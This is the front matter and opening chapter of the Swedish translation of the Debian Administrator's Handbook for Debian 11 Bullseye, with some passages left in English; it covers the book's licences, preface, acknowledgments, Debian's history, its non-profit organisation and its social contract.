Handbok för Debianadministratören

Debian Bullseye from Discovery to Mastery

Raphaël Hertzog

<hertzog@debian.org>

Roland Mas

<lolando@debian.org>

Copyright © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Raphaël Hertzog

Copyright © 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015 Roland Mas

Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022 Freexian SARL

ISBN: 979-10-91414-21-0 (English paperback)

ISBN: 979-10-91414-22-7 (English ebook)

Denna bok är tillgänglig under villkoren för två licenser som är kompatibla med Debians riktlinjer för fri programvara.

Notis för Creative Commons-licens:  Denna bok är licensierad under licensen Creative Commons Attribution-ShareAlike 3.0 Unported.

→ https://creativecommons.org/licenses/by-sa/3.0/

Notis för GNU General Public License:  Denna bok är fri dokumentation: du får återdistributera den och/eller modifiera den under villkoren för GNU General Public License så som den publicerats av Free Software Foundation, antingen version 2 av licensen, eller (om du så väljer) en senare version.

Denna bok distribueras med förhoppningen att den kommer att vara användbar, men UTAN NÅGON SOM HELST GARANTI; inte ens den underförstådda garantin för SÄLJBARHET eller LÄMPLIGHET FÖR NÅGOT SPECIELLT ÄNDAMÅL. Se GNU General Public License för vidare detaljer.

Du borde ha erhållit en kopia av Gnu General Public License tillsammans med detta program. Om inte, se https://www.gnu.org/licenses/.

Visa din uppskattning

Denna bok har publicerats under en fri licens eftersom vi vill att alla ska kunna dra nytta av den. Med det sagt så tar det tid och energi att underhålla den, och vi hade uppskattat att bli tackade för detta. Om du tycker att boken är värdefull, överväg att bidra till dess fortsatta underhåll antingen genom att köpa en pocketbok i papper eller genom att göra en donation via bokens officiella webbplats:

→ https://debian-handbook.info

Sammanfattning

En referensbok som presenterar Debian-distributionen, från inledande installation till konfiguration av tjänster.

Försättsblad

Jag känner mig lyckligt lottad att ha denna möjlighet att välkomna dig till Debian och denna handbok över Debian för administratörer. Många personer har redan valt Debian, kring 10% av alla internetservrar använder sig av Debian. Inkluderas även system byggda på Debian så kommer denna siffra närmare 20%. Debian blev också vald som det operativsystem som skall användas inom den internationella rymdstationen. Oavsett om det rör sig om forskningprojekt i framkant inom fysik eller inom projekt för att öka matproduktion och samtidigt minska klimatföroreningar så har Debian använts på datorer som gör dessa saker möjliga.

Varför har Debian en sådan attraktion bland stora företag, forskare, aktivister och hobbyister? Jag tror att svaret kan hittas i Debians flexibilitet samt hos dess gemenskap.

Debian är flexibelt. Ja, det tillhandahåller ett utmärkt operativsystem för generell användande direkt från förpackningen. Det tillhandahåller också alla de verktyg som krävs för att annpassa Debian till den miljö oavsett vilken som du finner dig själv jobba inom. Oavsett om det rör sig om molntjänster och kontainerarkitektur, stora uppsättningar av arbetsdatorer, individuella datorer eller ett redskap så tillhandahåller Debian den flexibilitet som krävs för att fungera väl i den miljön. Du kommer hitta de verktyg och exempel som du behöver för att uppfylla dina behov.

Gemenskapen hos Debian är en mötesplatts för flera olika typer av individer och intressen: utvecklare från de största bolagen arbetar jämsides med voluntärer, forskare och användare. Oavsett det rör sig om säkerhetsexperter, hemsideutvecklare, systemprogramerare eller arkitekter så är vi alla representerade. Du kan också bli en del av denna gemenskap. När du hittar sätt som Debian kan förbättras med så kommer ditt bidrag både välkomnas och uppmuntras.

Vi samarbetar för att skapa ett fritt operativsystem i världsklass. Inget enskilt företag styr Debian, ingen enskild agenda definierar vårt arbete. Istället har varje en av oss möjligheten att förbättra Debian på de sätt som gör skillnad för oss. Tack för att du tagit dig tiden att kolla vad vi byggt. Jag hoppas du gillar det.

Denna bok är en utmärkt källa för att utforska Debian. Jag har rekommenderat den till vänner i åratal när de frågat och velat lära sig mer om Debian och är tacksam att jag nu fått möjligheten att rekommendera den till en ännu större målgrupp. Denna handbok är skriven och underhållen av erfarna medlemmar av gemenskapen kring Debian. Några av de personer som annars lägger ner tid på att utveckla operativsystemet har gjort gemensam sak att försöka hjälpa dig att förstå det. Denna bok är givetvis utvecklad genom samma gemensamma process som Debian själv använder sig utav, med samma fokus på frihet.

Augusti 2019

Sam Hartman (Debian Projektledare)

Förord

Linux has been garnering strength for a number of years now, and its still growing popularity drives more and more users to make the jump. The first step on that path is to pick a distribution. This is an important decision, because each distribution has its own peculiarities, and future migration costs can be avoided if the right choice is made from the start.

TILLBAKA TILL GRUNDERNA Linux-distribution, Linux-kärna

Strikt talat är Linux endast en kärna, kärndelen i en bit programvara som sitter mellan hårdvaran och programmen.

A “Linux distribution” is a full operating system; it usually includes the Linux kernel, an installer program, and most importantly, applications and other software required to turn a computer into a tool that is actually useful.

Debian GNU/Linux är en ”allmän” Linux-distribution som passar de flesta användare. Syftet med denna bok är att visa dess många sidor så att du kan ta ett välinformerat beslut när du väljer.

1. Varför denna bok?

KULTUR Kommersiella distributioner

De flesta Linux-distributioner backas av ett kommersiellt företag som utvecklar dem och säljer dem under något slags kommersiellt arrangemang. Exempel på detta är Ubuntu, i huvudsak utvecklat av Canonical Ltd.; Red Hat Enterprise Linux av Red Hat, Inc., dotterbolag till IBM; och SUSE Linux som underhålls och utvecklas kommersiellt av SUSE Software Solutions Germany GmbH, dotterbolag till EQT Partners.

I andra änden av spektrat finns Debian och dess likar samt Apache Software Foundation (som står som värd för utvecklingen av webbservern Apache). Debian är framför allt ett projekt i världen av Fri Programvara, implementerat av frivilliga som arbetar tillsammans via internet. Medan vissa av dem arbetar på Debian som en del av deras betalda jobb på diverse företag är projektet som helhet inte fäst vid något särskilt företag, inte heller har något enskilt företag mer att säga till om vad det gäller projektets affärer än vad helt frivilliga bidragsgivare har.

Linux has gathered a fair amount of media coverage over the years and is immensely growing, driven for example by the spreading use of virtual servers, embedded systems, and the use of artificial intelligence; it mostly benefits the distributions supported by a real marketing department — in other words, company-backed distributions (Ubuntu, Red Hat, SUSE, and so on). But Debian is far from being a marginal distribution; multiple studies have shown over the years that it is widely used both on servers and on desktops. This is particularly true among web servers where Debian and Ubuntu are the leading Linux distributions.

→ https://w3techs.com/technologies/details/os-linux/all/all

The purpose of this book is to help you discover this distribution. We hope to share the experience that we have gathered since we joined the project as developers and contributors in 1998 (Raphaël) and 2000 (Roland). With any luck, our enthusiasm will be contagious, and maybe you will join us sometime…

Första utgåvan av denna bok (under 2004) tjänade till att fylla ett gapande hål: det var den första boken på franska som fokuserade exklusivt på Debian. Vid den tiden fanns många andra böcker i ämnet både för fransktalande och engelsktalande läsare. Tyvärr uppdaterades nästan ingen av dem och över åren har situationen gått tillbaka till den då det fanns väldigt få böcker om Debian. Vi hoppas att denna bok, som har börjat ett nytt liv med sin översättning till engelska (och flera översättningar från engelska till diverse andra språk), kommer att fylla detta gap och hjälpa många användare.

2. Vem är denna bok till för?

Vi försökte att göra denna bok användbar för många kategorier av användare. För det första kommer systemadministratörer (både nybörjare och erfarna) att hitta förklaringar om installationen och sjösättningen av Debian på många datorer. De kommer också att få en inblick i de flesta tjänster som finns tillgängliga på Debian, tillsammans med matchande konfigurationsinstruktioner och en beskrivning av det som är specifikt för denna distribution. Att förstår de mekanismer som inbegrips i Debians utveckling kommer att göra det möjligt för dem att hantera oförutsedda problem då de vet att de alltid kan få hjälp inom gemenskapen.

Användare av andra Linux-distributioner, eller av andra Unix-varianter kommer att upptäcka det som är specifikt för Debian, och bör kunna komma upp i hastighet ganska fort samtidigt som de nyttjar de unika fördelarna med denna distribution.

Avslutningsvis bör läsare som redan har viss kunskap om Debian och vill veta mer om gemenskapen bakom kunna se sina förväntningar uppfyllas. Denna bok borde få dem mycket närmre till att ansluta sig till oss som bidragsgivare.

3. Generell strategi

All allmän dokumentation du kan hitta om GNU/Linux gäller också för Debian då Debian inkluderar merparten av den vanliga fria programvaran. Distributionen har dock många förbättringar, vilket är anledningen till att vi primärt valt att beskriva ”Debian-sättet” att göra saker på.

Det är intressant att följa Debians rekommendationer, men det är ännu bättre att förstå bakgrunden till dem. Vi kommer därför inte att begränsa oss till endast praktiska förklaringar; vi kommer också att beskriva hur projektet fungerar internt, för att på så sätt ge dig omfattande och konsekvent förståelse.

4. Bokens struktur

Denna bok bygger på en fallstudie som ger både stöd och illustration åt alla ämnen som tas upp.

NOT Webbplats, författarnas e-postadress

Denna bok har sin egen webbplats, som innehåller delar som gör den än mer användbar. Värt att påpeka är att den inkluderar en online-version av boken med klickbara länkar och eventuella tryckfel rättade. Bläddra gärna genom den och återkoppla dina synpunkter till oss. Vi är glada för att läsa dina kommentarer eller meddelanden om synpunkter. Skicka dem via e-post till <hertzog@debian.org> (Raphaël) och <lolando@debian.org> (Roland).

→ https://debian-handbook.info/

Kapitel 1 fokuserar på en icke-teknisk presentation av Debian-projektet och beskriver dess mål och organisation. Dessa aspekter är viktiga då de definierar ett generellt ramverk som de andra kapitlen kommer att komplettera med ytterligare konkret information.

Kapitel 2 och 3 ger en bred översikt av fallstudien. Vid denna punkt bör nybörjarläsare ta sig tid att läsa bilaga B där de kommer att hitta en kort snabbkurs som förklarar ett antal grundläggande datorbegrepp så väl som koncept som finns i alla Unix-system.

För att fortsätta med vårt verkliga innehåll inleder vi naturligtvis med installationsprocessen (kapitel 4); kapitel 5 och 6 kommer att blottlägga grundläggande verktyg som en Debian-administratör kommer att använda, så som de i APT-familjen, vilka till stor del är ansvariga för distributionens utmärkta rykte. Dessa kapitel är inte på något sätt begränsade till fackmän då alla är administratörer hemma.

Kapitel 7 kommer att vara en viktig parentes; det beskriver arbetsflöden om hur man effektivt använder dokumentation och hur man snabbt får en förståelse för problem så att man kan lösa dem.

Nästa kapitel kommer att vara en mer detaljerad rundtur i systemet, som börjar med grundläggande infrastruktur och tjänster (kapitel 8 till 10) och gradvis går uppåt i stacken för att nå användarprogram i kapitel 13. Kapitel 12 handlar om mer avancerade ämnen som främst kommer att angå administratörer av stora installationer av datorer (inklusive servrar) medan kapitel 14 är en kort introduktion till det bredare ämnet datorsäkerhet och ger ett fåtal nyckelpunkter för att undvika de flesta problem.

Chapter 15 is for administrators who want to go further and create their own Debian packages. Finally, Chapter 16 describes the possible future of Debian.

VOKABULÄR Debian-paket

Ett Debian-paket är ett arkiv som innehåller alla filerna som krävs för att installera en bit programvara. Det är generellt en fil med en .deb-filändelse och den kan hanteras med kommandot dpkg. Det kallas också för ett binärpaket då det innehåller filer som kan användas direkt (så som program eller dokumentation). Detta i motsats till källpaket som innehåller källkoden för programvaran och instruktionerna som behövs för att bygga det binära paketet.

The present version is already the tenth edition of the book (we include the first four that were only available in French). This edition covers version 11 of Debian, code-named Bullseye. Among the changes, Debian now supports UEFI Secure Boot, providing some extra safety against attacks on the boot infrastructure, and making it easier to install Debian on new computers where Secure Boot is usually enabled by default. Again at the security level, AppArmor, a Mandatory Access Control system that regulates what various applications are allowed to perform, is now enabled by default. All included packages have obviously been updated, including the GNOME desktop, which is now in its version 3.38.

Vi har lagt till en del noter och kommentarer i sidokolumner. De fyller ett antal olika roller: de kan dra uppmärksamhet till en svårt punkt, komplettera ett begrepp i fallstudien, definiera några ord eller fungera som påminnelser. Här är en lista över de vanligaste sidokolumnerna:

TILLBAKA TILL GRUNDERNA: en påminnelse om information som du borde känna till;

VOKABULÄR: definierar en teknisk term, ibland Debian-specifik;

GEMENSKAP: betonar viktiga personer eller roller inom projektet;

POLICY: a rule or recommendation from the Debian Policy; This document is essential within the project, and describes how to package software. The parts of the policy highlighted in this book bring direct benefits to users (for example, knowing that the policy standardizes the location of documentation and examples makes it easy to find them even in a new package);

VERKTYG: presenterar ett relevant verktyg eller en tjänst;

I PRAKTIKEN: teori och praktik stämmer inte alltid överens; dessa sidokolumner innehåller råd utifrån vår erfarenhet. De kan också ge detaljerade och konkreta exempel;

andra mer eller mindre frekventa sidokolumner är ganska tydliga: KULTUR, TIPS, FÖRSIKTIGHET, UTVECKLA, SÄKERHET, och så vidare.

5. Bidraga

This book is developed like a free software project, your input and help are welcome. The most obvious way to contribute is to help translate it into your native language. But that is not the only possibility. You can open bug reports to let us know of mistakes, typos, outdated information, or topics that we should really cover. Or you can submit a merge request with your fix for whatever issue that you identified.

Alla instruktioner över hur du kan bidraga till boken är dokumenterad på bokens hemsida:

→ https://debian-handbook.info/contribute/

6. Erkännanden

6.1. En liten bit historia

2003 kontaktade Nat Makarévitch Raphaël då han ville publicera en bok om Debian i samlingen Cahier de l'Admin (Administratörens handbok) som han hanterade för Eyrolles, en ledande fransk redaktör för tekniska böcker. Raphaël accepterade omedelbart att skriva den. Den första utgåvan kom ut den 14 oktober 2004 och var en stor framgång — den sålde slut endast fyra månader senare.

Sedan dess har vi släppt 7 andra utgåvor av den franska boken, en för varje efterföljande Debian-version (förutom Debian 9). Roland, som började arbeta på boken som en korrekturläsare, blev gradvis dess medförfattare.

Medan vi så klart var nöjda med bokens framgång hoppades vi alltid att Eyrolles skulle övertyga en internationell redaktör att översätta den till engelska. Vi hade tagit emot ett flertal kommentarer som förklarade hur boken hade hjälpt människor att börja med Debian och vi var angelägna om att boken skulle gagna fler människor på samma sätt.

Tyvärr fanns det ingen engelsktalande redaktör som vi kontaktade som var villig att ta risken att översätta och publicera boken. Trots detta mindre bakslag förhandlade vi med vår franska redaktör Eyrolles och fick tillbaka de nödvändiga rättigheterna att översätta boken till engelska och publicera den på egen hand. Tack vare en framgångsrik gräsrotsfinansieringskampanj, kunde vi arbeta på översättningen mellan December 2011 och Maj 2012. ”Debian-administratörens handbok” var född och den publicerades under en licens för fri programvara!

Även om detta var en viktig milstolpe så visste vi redan att historien inte var över för oss förrän vi kunde bidra med den franska boken som en officiell översättning av den engelska boken. Detta var inte möjligt vid den tidpunkten eftersom den franska boken fortfarande distribuerades kommersiellt under en icke-fri licens av Eyrolles.

In 2013, the release of Debian 7 gave us a good opportunity to discuss a new contract with Eyrolles. We convinced them that a license more in line with the Debian values would contribute to the book's success. That wasn't an easy deal to make, and we agreed to set up another crowdfunding campaign to cover some of the costs and reduce the risks involved. The operation was again a huge success and in July 2013, we added a French translation to the Debian Administrator's Handbook.

We would like to thank everybody who contributed to these fund-raising campaigns, either by pledging some money or by passing the word around. We couldn't have done it without you.

To save some paper, 5 years after the fund-raising campaigns and after two subsequent editions, we dropped the list of persons who opted to be rewarded with a mention of their name in the book. But their names are engraved in the acknowledgments of the Wheezy edition of the book:

→ https://debian-handbook.info/browse/wheezy/sect.acknowledgments.html

6.2. Speciellt tack till understödjare

This book would not be what it is without the contributions of several persons who each played an important role during the translation phase and beyond. We would like to thank Marilyne Brun, who helped us to translate the sample chapter and who worked with us to define some common translation rules. She also revised several chapters that were desperately in need of supplementary work. Thank you to Anthony Baldwin (of Baldwin Linguas) who translated several chapters for us.

Since Roland and I were too busy to update the book for Debian 11, we used the modest income that we get through donations and sales to hire contributors to do the bulk of the work. Thank you very much to Jorge Maldonado Ventura and Daniel Leidert for the hard work they put into this update.

Vi hade nytta av generös hjälp från korrekturläsare: Daniel Phillips, Gerold Rupprecht, Gordon Dey, Jacob Owens, och Tom Syroid. De granskade var och en flera kapitel. Tack så mycket!

Then, once the English version was liberated, of course, we got plenty of feedback and suggestions and fixes from the readers, and even more from the many teams who undertook to translate this book into other languages. Thanks!

Vi skulle också vilja tacka läsarna av den franska boken som gav oss några bra citat för att bekräfta att boken faktiskt var väl värd att översättas: tack till Christian Perrier, David Bercot, Étienne Liétart, och Gilles Roussi. Stefano Zacchiroli — som var Debian-projektets ledare under gräsrotsfinansieringskampanjen — förtjänar också ett stort tack, han gav oss stöd i projektet med ett citat som förklarade att böcker som är fria (som i frihet) verkligen behövdes.

Om du har nöjet att läsa dessa rader på en papperskopia av boken, då bör du tillsammans med oss tacka Benoît Guillon, Jean-Côme Charpentier, och Sébastien Mengin som arbetat på bokens inre design. Benoît är uppströmsförfattaren till dblatex — verktyget vi använde för att konvertera DocBook till LaTeX (och sedan till PDF). Sébastien är designern som skapade denna fina boklayout och Jean-Côme är LaTeX-experten som implementerade den som en stilmall som går att använda med dblatex. Tack grabbar för allt det hårda arbetet!

Avslutningsvis tack till Thierry Stempfel för de fina bilderna som inleder varje kapitel, och tack till Doru Patrascu för det vackra bokomslaget.

6.3. Tack till översättare

Ända sedan denna bok frisatts har många frivilliga arbetat på att översätta den till ett flertal språk så som arabiska, brasilianska, portugisiska, tyska, italienska, spanska, japanska, norskt bokmål etc. Hitta den fullständiga listan över översättningar på bokens webbplats: https://debian-handbook.info/get/#other

Vi skulle vilja tacka alla översättarna och granskare för översättningar. Ert arbete uppskattas högt eftersom det resulterar att miljoner människor som inte kan läsa engelska kan få tag på Debian.

6.4. Personliga tack från Raphaël

First off, I would like to thank Nat Makarévitch, who offered me the possibility to write this book and who provided strong guidance during the year it took to get it done. Thank you also to the fine team at Eyrolles, and Muriel Shan Sei Fan in particular. She has been very patient with me, and I learned a lot with her.

The period of the Ulule campaigns were very demanding for me but I would like to thank everybody who helped to make them a success, and in particular the Ulule team who reacted very quickly to my many requests. Thank you also to everybody who promoted the operations. I don't have any exhaustive list (and if I had, it would probably be too long), but I would like to thank a few people who were in touch with me: Joey-Elijah Sneddon and Benjamin Humphrey of OMG! Ubuntu, Florent Zara of LinuxFr.org, Manu of Korben.info, Frédéric Couchet of April.org, Jake Edge of Linux Weekly News, Clement Lefebvre of Linux Mint, Ladislav Bodnar of Distrowatch, Steve Kemp of Debian-Administration.org, Christian Pfeiffer Jensen of Debian-News.net, Artem Nosulchik of LinuxScrew.com, Stephan Ramoin of Gandi.net, Matthew Bloch of Bytemark.co.uk, the team at Divergence FM, Rikki Kite of Linux New Media, Jono Bacon, the marketing team at Eyrolles, and numerous others that I have forgotten (sorry about that).

I would like to address a special thanks to Roland Mas, my co-author. We have been collaborating on this book since the start, and he has always been up to the challenge. And I must say that completing the Debian Administrator's Handbook has been a lot of work…

Sist men inte minst, tack till min fru Sophie. Hon har varit ett stort stöd i mitt arbete med denna bok och med Debian i allmänhet. Det har funnits allt för många dagar (och nätter) när jag lämnar henne ensam med våra två söner för att göra lite framsteg på boken. Jag är tacksam för hennes stöd och vet hur lycklig jag är att ha henne.

6.5. Personliga tack från Roland

Nå, Raphaël har redan förekommit de flesta av mina ”externa” tack. Jag kommer trots detta att betona min personliga tacksamhet till de bra människorna på Eyrolles, med vilka samarbetet alltid har varit trevligt och smidigt. Förhoppningsvis är resultatet av deras utmärkta råd inte gått förlorade i översättningen.

Jag är extremt tacksam till Raphaël för att tagit på sig den administrativa delen av denna engelska utgåva. Allt från att organisera finansieringskampanjen till de sista detaljerna kring bokens layout, att producera en översatt bok är så mycket mer än bara att översätta och korrekturläsa, och Raphaël gjorde det alltihop (eller delegerade och övervakade). Så, tack.

Tack också till alla som mer eller mindre direkt bidragit till denna bok, genom att tillhandahålla förtydliganden eller förklaringar eller översättningsråd. De är allt för många för att nämnas, men merparten av dem kan vanligtvis hittas på diverse #debian-* IRC-kanaler.

Det finns förstås en viss överlappning med den föregående mängden människor, men specifika tack är fortfarande i sin ordning för de människor som faktiskt utvecklar Debian. Det skulle inte vara mycket till bok utan dem, och jag är fortfarande förvånad över vad Debian-projektet som helhet producerar och gör tillgängligt till allt och alla.

Mer personliga tack går till mina vänner och klienter för deras förståelse när jag mindre mottaglig eftersom jag arbetade på denna bok, och också för deras konstanta stöd och uppmuntran. Ni vet vem ni är; tack.

Slutligen; jag är säker på att de skulle bli förvånade av att nämnas här, men jag skulle vilja sträcka ut min tacksamhet till Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal Stephenson och så klart den bortgångne Douglas Adams. De oräkneliga timmar jag spenderat njutandes av deras böcker är direkt relaterat till att jag kan ta del i att först översätta en och sedan skriva nya delar.

Kapitel 1. Debian-projektet

Innan vi ger oss in i tekniken, låt oss titta närmare på vad Debian-projektet är, dess mål, medel och verksamhet.

1.1. Vad är Debian?

KULTUR Namnet Debian

Fundera inte längre: Debian är inte en förkortning. Namnet är en hopslagning av två förnamn: Ian Murdock, och hans dåvarande flickvän. Debra + Ian = Debian.

Debian är en GNU/Linux-distribution. Vi kommer att förklara i detalj vad distributioner är i Avsnitt 1.5, ”Distributionernas roller”, men för tillfället räcker det med att säga att det är ett komplett operativsystem, inklusive program och system för installation och hantering, baserade på Linux-kärnan och fri programvara (speciellt den från GNU-projektet).

When he created Debian, in 1993, under the leadership of the Free Software Foundation (FSF), Ian Murdock had clear objectives, which he expressed in the Debian Manifesto. The free operating system that he sought would have to have two principal features. First, quality: Debian would be developed with the greatest care, to be worthy of the Linux kernel. It would also be a non-commercial distribution, sufficiently credible to compete with major commercial distributions. This double ambition would, in his eyes, only be achieved by opening the Debian development process just like that of Linux and the GNU project. Thus, peer review would continuously improve the product.

KULTUR FSF-projektet GNU

The GNU project is a range of free software developed, or sponsored, by the Free Software Foundation FSF, originated by its iconic leader, Dr. Richard M. Stallman. GNU is a recursive acronym, standing for “GNU is Not Unix”.

KULTUR Richard Stallman

FSF's founder and author of the GNU General Public License (GPL), Richard M. Stallman (often referred to by his initials, RMS), is a charismatic leader of the Free Software movement. Due to his uncompromising positions, he is not unanimously admired, but his non-technical contributions to Free Software (in particular, the legal and philosophical) are respected by all.

1.1.1. Ett operativsystem för flera plattformar

GEMENSKAP Ian Murdocks resa

Debians grundare, Ian Murdock, var dess första ledare från 1993 till 1996. Ett att ha lämnat till Bruce Perens fick Ian en mer undanskymd roll. Han återgick till att arbeta i bakgrunden på den fria programvarurörelsen, grundade företaget Progeny med avsikten att sälja en distribution baserad på Debian. Tyvärr blev denna satsning ett kommersiellt misslyckande och utvecklingen övergavs. Företaget lämnade i april 2007 in en konkursansökan efter att ha hankat sig fram som tjänsteleverantör i flera år. Av de olika projekts om startades av Progeny återstår endast discover. discover är ett verktyg för automatisk hårdvaruidentifiering.

Ian Murdoc dog den 28:e december 2015 i San Francisco efter en serie oroande tweets där han rapporterats blivit överfallen av poliser. I juli 2016 tillkännagavs att hans död rubriceras som självmord.

Debian, remaining true to its initial principles, has had so much success that, today, it has reached a tremendous size. Currently, it officially supports nine hardware release architectures and several variations of each architecture known as “flavors”, and also other kernels like FreeBSD, although the FreeBSD-based ports are not part of the set of officially supported architectures either. Furthermore, with more than 31,000 source packages, the available software can meet almost any need, whether at home or in the enterprise.

The sheer size of the distribution can be inconvenient: it is really unreasonable to distribute 18 DVD-ROMs (only containing the packages qualifying as "Free Software") to install a complete version on a standard PC… This is why Debian is increasingly considered as a “meta-distribution”, from which one extracts more specific distributions intended for a particular public: Debian Science for scientific use, Debian Edu for education and pedagogical use in an academic environment, Debian Med for medical applications, Debian Jr. for young children, etc. A more complete list of the sub-projects can be found in Avsnitt 1.3.3.1, ”Existing Debian Sub-Projects and Blends”, dedicated to that purpose.

Dessa vyer av Debian är organiserade i ett väldefinierat ramverk, och garanterar därmed problemfri kompatibilitet mellan de olika ”underdistributionerna”. De följer all den generella planen för släpp av nya utgåvor. Då de bygger på samma grunder kan de enkelt utökas, kompletteras och personaliseras med program tillgängliga i Debians programarkiv.

Alla Debian-verktyg verkar i denna riktning: debian-cd har under lång tid gjort det möjligt att skapa en samling cd-skivor innehållande ett urval av paket; debian-installer är också en modulär installerare, enkelt anpassningsbar till speciella behov. APT kommer att installera paket av olika ursprung, men garantera den övergripande samstämmigheten i systemet.

TOOL Creating a Debian CD-ROM/DVD/USB Image

debian-cd creates ISO images of installation media (CD, DVD, Blu-Ray, USB, etc.) ready for use and customizable. Any matter regarding this software is discussed (in English) on the <debian-cd@lists.debian.org> mailing list. The team is led by Steve McIntyre who is handling official Debian ISO builds.

As debian-cd has become a quite complex tool, the simple-cdd package contains a wrapper around it to easily create customized installation media.

GRUNDERNA Varje dator har en arkitektur

The term “architecture” indicates a type of computer (the most well-known include Mac or PC). Each architecture is differentiated primarily according to its processor, usually incompatible with other processors. These differences in hardware involve varying means of operation, thus requiring that software be compiled specifically for each architecture.

Den flesta tillgängliga program i Debian är skrivna i portabla programmeringsspråk: samma källkod kan kompileras för olika arkitekturer. I verkligheten gäller dock att en körbar binär, alltid kompilerad för en specifik struktur, oftast inte kommer att fungera på någon av de andra arkitekturerna.

Kom ihåg att varje program skapas genom att skriva källkod; källkoden är en textfil bestående av instruktioner i ett givet programmeringsspråk. Innan du kan använda programmet måste källkoden kompileras, vilket innebär att koden omvandlas till en körbar fil (en rad maskininstruktioner exekverbara av processorn). Varje programmeringsspråk har en specifik kompilator för att exekvera denna instruktion (exempelvis gcc för programmeringsspråket C).

VERKTYG Installerare

debian-installer är namnet på Debians installationsprogram. Den modulära designen möjliggör användning i ett brett område av installationsscenarier. Utvecklingsarbetet koordineras på sändlistan <debian-boot@lists.debian.org> och leds av Cyril Brulebois.

1.1.2. Kvaliteten på fri programvara

Debian följer alla principerna för fri programvara, och nya utgåvor släpps inte förrän de är redo. Utvecklare arbetar inte efter ett fast schema och behöver inte stressa för att uppnå ett släppdatum. Folk klagar ofta på den långa tiden som går mellan Debians stabila utgåvor, men denna försiktighet garanterar att Debians legendariska stabilitet upprätthålls: flera månader av testning är verkligen nödvändig för att hela distribution skall kunna markeras som ”stabil”.

Debian kompromissar inte med kvalitet: alla kända kritiska programfel i kärnpaketen är lösta i varje ny utgåva, även om det kräver att ett släppdatum uppskjuts. Valfria paket vars kritiska fel inte fixas, som därmed inte lever upp till satta kvalitetskrav, tas bort helt enkelt från den stabila utgåvan.

1.1.3. Rättslig ram: En icke-vinstdrivande organisation

Juridiskt sett är Debian ett projekt hanterat av en amerikansk icke-vinstdrivande frivilligorganisation. Projektet har omkring tusen Debian-utvecklare, men långt många fler bidragsgivare (översättare, felrapportörer, grafiker, tillfälliga utvecklare och så vidare).

För att nå sina mål har Debian en stor infrastruktur med många servrar anslutna över internet, erbjudna och tillhandahållna av många sponsorer.

GEMENSKAP Bakom Debian, föreningen ”Software in the Public Interest (SPI)” och lokala förgreningar

Debian doesn't own any server in its own name, since it is only a project within the Software in the Public Interest (SPI) association, which manages the hardware and financial aspects (donations, purchase of hardware, etc.). Although it was initially created specifically for the Debian project, this association now hosts other free software projects, for example the PostgreSQL database, the Freedesktop.org project for standardization of various parts of modern graphical desktop environments (such as GNOME and KDE Plasma), and the LibreOffice office suite.

→ https://www.spi-inc.org/

Utöver SPI samarbetar olika lokala sammanslutningar med Debian för att finansiera Debian, utan att centralisera allting i USA: med Debian-jargong kända som ”Pålitliga organisationer”. Detta förfarande undviker hindrande internationella överföringskostnader och passar väl in med den decentraliserade projektstrukturen.

Do not hesitate to join your local association and support the project!

→ https://wiki.debian.org/Teams/Treasurer/Organizations

→ https://france.debian.net/

→ https://debian.ch/

1.2. Grunddokumenten

Några år efter dess lansering formaliserade Debian grundreglerna det skulle följa som ett fri programvaruprojekt. Detta med avsikt aktivistiska beslut möjliggör en ordnad och fridfull tillväxt genom att försäkra sig om att alla medlemmar utvecklas i samma riktning. För att bli en Debian-utvecklare måste varje kandidat bekräfta, visa sitt stöd till, och följa grundreglerna etablerade i projektets grunddokument.

The development process is constantly debated, but these Foundation Documents are widely supported and consensual, and thus rarely change. The Debian constitution also offers other guarantees for their stability: a three-quarter qualified majority is required to approve any amendment.

1.2.1. Förpliktelsen mot användare

Projektet har också ett ”socialt kontrakt”. Vad gör då en sådan text i ett projekt avsett för utvecklingen av ett operativsystem? Det är ganska enkelt: Debian är till för sina användare, och därmed indirekt för samhället. Kontraktet sammanfattar de ansvar projektet tar på sig. Låt oss titta närmare på det:

Debian kommer att förbli 100% fritt.

Regel nummer ett. Debian är och kommer att fortsätta att bestå helt och uteslutande av fri programvara. Utöver det kommer all programutveckling inom Debian-projektet att vara fri.

PERSPEKTIV Bortom programvara

Den första versionen av Debians sociala kontrakt sade att ”Debian kommer att förbli 100% fri programvara”. Att ta bort detta sista ord (genom ratificering av version 1.1 av kontraktet i april 2004) visar på viljan att uppnå frihet, inte endast för programvara, men också för dokumentationen och andra element Debian tillhandahåller omkring dess operativsystem.

Ändringen, som endast avsågs vara redaktionell, har i praktiken haft stora konsekvenser, speciellt vad gäller borttagandet av en del problematisk dokumentation. Vidare har det ökande användandet av fast programvara i drivrutiner skapat problem: många av dem är icke-fria, men är nödvändiga för korrekt användning av motsvarande hårdvara.

Vi vill ge tillbaka till den fria programvarugemenskapen.

Varje förbättring till Debian-projektet i ett verk integrerat i distributionen ges tillbaka till författaren av verket (kallat ”uppströms”). Debian försöker att arbeta med gemenskapen istället för att arbeta isolerat.

GEMENSKAP Uppströmsförfattare eller Debian-utvecklare?

The term “upstream author” means the author(s)/developer(s) of a work, those who write and develop it. On the other hand, a “Debian developer” usually uses an existing work to make it into a Debian package - the term “Debian maintainer” is better suited here.

In practice, there can be overlaps between both roles: the Debian maintainer may write a patch, which benefits all users of the work. In general, Debian encourages those in charge of a package in Debian to get involved in “upstream” development as well (they become, then, contributors, without being confined to the role of simple users of a program). Or the Debian developer creates tools or documentation for the Debian distribution, like packaging helpers (e.g. debhelper) or integration frameworks (e.g. ca-certificates) and becomes an “upstream author” for those creations.

Vi döljer inte problem.

Debian är inte perfekt, och varje dag kommer det finnas nya problem som behöver åtgärdas. Debian kommer alltid att hålla hela sin felrapporteringsdatabas öppen för allmänheten. Felrapporter som sker över nätet är synliga för andra.

Våra prioriteringar är våra användare och fri programvara.

Denna förpliktelse är svårare att definiera. Debian gör därför ett val när ett beslut måste ske. Debian kommer att sträva efter en elegant lösning, och förkasta ett enkla lösningar som kan äventyra användarupplevelsen.Detta även om den elegantare lösningen är svårare att implementera.Det är alltså vad det innebär att prioritera användarintressen och fri programvara.

Verk som inte uppfyller våra standarder för fri programvara.

Debian accepterar, och förstår att användare kan vilja använda en del icke-fria program. Det är därför projektet tillåter att delar av dess infrastruktur används för att distribuera Debian-paket av icke-fria program som kan återdistribueras på ett säkert sätt.

GEMENSKAP För eller mot avdelningen ”non-free”?

